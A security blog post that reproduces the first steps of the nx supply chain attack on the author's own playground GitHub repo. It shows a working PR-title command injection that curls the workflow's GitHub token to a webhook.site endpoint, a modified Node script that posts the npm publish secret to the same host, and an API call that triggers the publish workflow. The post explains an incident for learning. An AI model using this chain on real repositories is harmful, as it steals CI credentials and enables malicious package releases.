IT meets OT

The nx Supply Chain Attack - Post Mortem Analysis and Reproduction

I read the post mortem analysis of the nx S1ngularity supply chain attack and found the attack vector quite interesting. In this post, I will explain how to reproduce the first steps (though I am not 100% sure if this is exactly what happened).

Background

Github Workflow Token

When using Gihtub workflows, Github injects a temporary access token GITHUB_TOKEN in the workflow runner. Before 2023, this token had read/write permissions per default. The default setting changed - but older repositories still have the read/write permissions. This happened to the nx repo. In Github repo settings, it’s possible to configure this behaviour:

token

The Github token is available with following string in the workflow:

${{ secrets.GITHUB_TOKEN }}

Note that it is not automatically injected as environmental variable and not directly accessible in shell. However, it can be retrieved using git config --get-all http.https://github.com/.extraheader, because Github automatically injects credentials into the repo’s config when using actions/checkout. In this context, the result of the command above will show the base64 encoded token:

AUTHORIZATION: basic ********

Notes:

Command Injection in Workflow Fixed but still Exploitable in some Branches

The nx team introduced a Github workflow called pr-title-validation.yml with a command injection vulnerability via PR title:

      - name: Validate PR title
        run: |
          echo "Validating PR title: ${{ github.event.pull_request.title }}"
          node ./scripts/commit-lint.js /tmp/pr-message.txt

The team fixed the command injection vulnerability - but not in all branches.

Workflow Trigger with pull_request_target

The vulnerable workflow used pull_request_target as trigger, which runs with the permissions of the target branch (not the fork) and can access repository secrets:

on:
  pull_request:
    types: [opened, edited, synchronize, reopened]
  pull_request_target:
    types: [opened, edited, synchronize, reopened]

There is a warning in the Github documentation related to this.

Reproduction

In this section we will reproduce the attack vector on a playground repo.

Playground Repo

I set up a playground Github account and repo with a simple Hello world npm app. It has two branches: main and test. To simulate the nx repo behaviour, I added two workflows:

I then removed the pr-title.yaml workflow from the main branch to simulate the fix, but not from the test branch.

Exploiting the Command Injection to Exfiltrate the Github Token

An attacker can fork the repo and modify e.g., the index.ts source within the test branch (not from main). Then a PR is created with following title:

Update index.ts" & curl -X POST -d "$(git config --get-all http.https://github.com/.extraheader)" https://webhook.site/x & sleep 300 #

This title will trigger the command injection and exfiltrate the Github token to webhook:

webhook

It can be decoded:

decode

Note that I added a sleep 300 command to have enough time to use the temporary token.

Triggering the Publish Workflow and Exfiltrate the npm Token

The exfiltrated Github token does not have write permission for workflows. However, the publish.yaml workflow calls a script /scripts/publish-resolve-data.js within the repo, which can be modified:

jobs:
  demo-publish:
    runs-on: ubuntu-latest
    env:
      NODE_AUTH_TOKEN: ${{ secrets.TEST_SECRET }}
    steps:
      - name: Checkout repo
        uses: actions/checkout@v4

      - name: Setup Node
        uses: actions/setup-node@v4
        with:
          node-version: 20

      - name: Resolve data via github-script
        uses: actions/github-script@v7
        with:
          script: |
            const script = require('${{ github.workspace }}/scripts/publish-resolve-data.js');
            await script({ github, context, core });

Note that NODE_AUTH_TOKEN is available as environmental variable during script execution.

Following steps have to be executed by the attacker:

module.exports = async ({ github, context, core }) => {
  const token = process.env.NODE_AUTH_TOKEN || "(missing)";
  const payload = JSON.stringify({ note: "demo-only payload", token });

  try {
    const res = await fetch("https://webhook.site/x", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: payload,
    });

    core.info(`Local POST status: ${res.status}`);
    if (!res.ok) throw new Error(`HTTP ${res.status}`);
  } catch (e) {
    core.setFailed(`Local POST failed: ${e.message}`);
    throw e; // make the step fail
  }
};
curl -X POST \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer ghs_x" \
  https://api.github.com/repos/justasimpletest214/mynpm/actions/workflows/publish.yaml/dispatches \
  -d '{"ref":"attacker"}'

This is possible because the trigger workflow_dispatch is used:

on:
  workflow_dispatch:

Then the secret is exfiltrated:

webhook

For nx, the npm token was a publish token presumably without 2FA activated, therefore the attacker could publish a malicious version of the app.

Conclusion

After the initial command injection vulnerability, the attacker exploited Github specific insecure workflow configurations in the nx repo, to get the final npm publish token. Feel free to copy my playground repo (the token does not have read/write permissions, you have to set your own repo ;-) and reproduce the exploit for educational purposes only.